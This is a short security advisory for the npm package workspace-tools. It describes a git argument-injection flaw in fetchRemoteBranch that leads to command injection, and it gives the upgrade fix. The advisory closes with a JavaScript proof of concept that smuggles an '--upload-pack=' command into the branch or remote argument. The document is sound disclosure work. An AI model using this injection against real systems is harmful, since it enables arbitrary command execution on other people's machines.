How to fix?

Upgrade workspace-tools to version 0.18.4 or higher.

Overview

workspace-tools is a JS Monorepo Workspace Tools.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) function, both the remote and remoteBranch parameters are passed to the git fetch subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC 

const workspace_tools = require("workspace-tools");

workspace_tools.init("./", "username", "password") // or git init

let remote1 = "origin";
let remoteBranch1 = "--upload-pack=touch HELLO1;";
workspace_tools.fetchRemoteBranch(remote1, remoteBranch1, "./") // git [ 'fetch', 'origin', '--upload-pack=touch HELLO1;' ]

// let remote2 = "--upload-pack=touch HELLO2;";
// let remoteBranch2 = "foo";
// workspace_tools.fetchRemoteBranch(remote2, remoteBranch2, "./") // git [ 'fetch', '--upload-pack=touch HELLO2;', 'foo' ]
